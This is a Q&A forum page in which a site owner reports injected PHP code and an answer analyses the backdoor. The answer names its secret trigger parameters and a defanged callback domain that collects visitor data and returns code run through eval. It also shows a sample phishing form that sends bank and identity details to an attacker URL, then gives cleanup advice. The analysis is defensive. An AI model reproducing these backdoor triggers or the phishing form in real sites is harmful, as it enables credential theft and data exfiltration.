Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6553325
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 25, 20262026-05-25T12:34:05+00:00 2026-05-25T12:34:05+00:00

My website has been taken down by hackers, and looking through the site there

  • 0

My website has been taken down by hackers, and looking through the site there is a load of additional stuff at the top of each PHP file.

Each file now starts with:

GLOBAL $wehaveitagain;
if($wehaveitagain != 1)
{

Full addition here

The database seems to be fine, so I am curious, what is the likely path of entry to be able to edit my files?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-25T12:34:06+00:00Added an answer on May 25, 2026 at 12:34 pm

    You’re not the first to get hit by airschk

    The exploit is based around a POST request with a variable prgetxr being set.

    If it isn’t set (and likely, in normal use of the site, it won’t be) it it cycles through that IP hash-map mynetsxx and if it finds that the requesting IP is in the network that matches this (to understand “network” you have to understand how networking works, but these are basically local guys, not remote), and if it is, it calls rewrioutclbkxxx. You can manually request that function call by sending a GET request where a GET variable showmeallpls is true.

    rewrioutclbkxxx is passed through output-buffer start, so it’s likely going to screw with all the data BEFORE it’s sent, but AFTER your normal code is done doing it’s thing.

    BEWARE, LIKELY A MALICIOUS DOMAIN BELOW DON’T GO UNLESS YOU KNOW WHAT YOU’RE DOING.

    It’s going to pull data from hxxp://airschk.com/clk (I’ve censored the HTTP in that URL), it wants to get a bunch of data, so it sends a string that contains: user-agent (ie, the user’s browser), their IP address, what URL they’ve requested, what page they came from, and the ID code 4dae82ac67843a194c000ca1 which is likely something they’ve set up to identify your server.

    So in short, the code sends a whole whack of user information off to airschk, and it returns some data. That data gets tossed into an EVAL. Boom, your site is pwn’d.

    EVAL will evaluate any string in there as if it’s php. They can delete everything, edit everything, change anything they want, perhaps even get shell access. You’re basically pwnt.

    Now wait, what if we did send that POST request way back there? Oh sneaky, they’ve gone to a URL at toolbarqueries.google.com, but the URL tries to jack up google page rank for the URL (Blackhat SEO, you can get banned from google for this, but in the short-term they get more hits).

    So to recap, how this attack works

    1. A bunch of your user data is being sent to the criminals at airschk.
    2. They’re sending back whatever the hell they want, and it has nearly unlimited power to screw you (and it’s customized to each user if they want)
    3. They try to boost your google rank in ways that get you prerma-banned from google.
    4. Back doors to check are Post requests of prgetxr and GET requests of showmeallpls.

    Example of what they might do

    Since they can edit the output stream of your files on-demand and know the user-agent as well as IP address they probably can track your users. Lets say you’re a bank, and this is your login HTML:

    <form method="post" action="./login.php">
        <input name="BankAccountNumber" />
        <input name="Password" />
    </form>
    

    Okay, the output-buffer rewrite can actually keep everything exactly the way it is and do this to your users:

    <p>We have noticed high activity on your account, please provide additional information to help secure your account.</p>
    <form method="post" action="http://example.com/hax/lulz">
        <input name="CreditCardNumber" />
        <input name="SocialSecurityNumber" />
        <input name="FullName" />
        <input name="DateOfBirth" />
        <input name="HomeAddress" />
    
        <input name="BankAccountNumber" />
        <input name="Password" />
        <input name="prgetxr" />
    </form>
    

    How to prevent this.

    Well, I’d say your whole server is never to be trusted again. Nuke the damn thing from orbit and re-install a backup.

    Don’t have a backup? What’s wrong with you? Put a backup in place after you’ve hired someone to comb through every line of code, every database record, and every last file installed on your system because more exploits could be anywhere. Nuke the damn thing and install a backup.

    Next, set chmod settings so these files cannot be edited by anyone other than an account that is NOT the web-account. You need to understand unix security.

    Next, remove that damn eval from any file that runs on your server (maybe even configure suhosin). If you have any running code that depends on it, you’re doing it wrong anyway. Remove it. You need to.

    A band-aid measure will be to block the hacker domain, but this is totally worthless past 12 hours, they can just move elsewhere, and likely have by now.

    I can’t tell about the path of attack they took to do this, so that’s a whole different investigation and not really a question for SO.

    Lastly, hire someone who’s a trained security expert.

    Security isn’t trivial or easy or quick to learn. Don’t play games, pay someone who knows what they’re doing.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

So I've taken over a website, some of which has been under git version
I have a travel related website that has been online for several years (since
I am going to start working on a website that has already been built
I have a running website on wordpress which has been hacked, some file were
On the website I am working on it has been deployed but the problem
I'm currently taking care of a certain local website. The default port has been
I have been working on a website that has some images that I need
I have been working with an existing website out company has running until I
Background: I have a website that has been built with ASP.NET 2.0 and is
I was going through a website I've taken over and came across this section

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.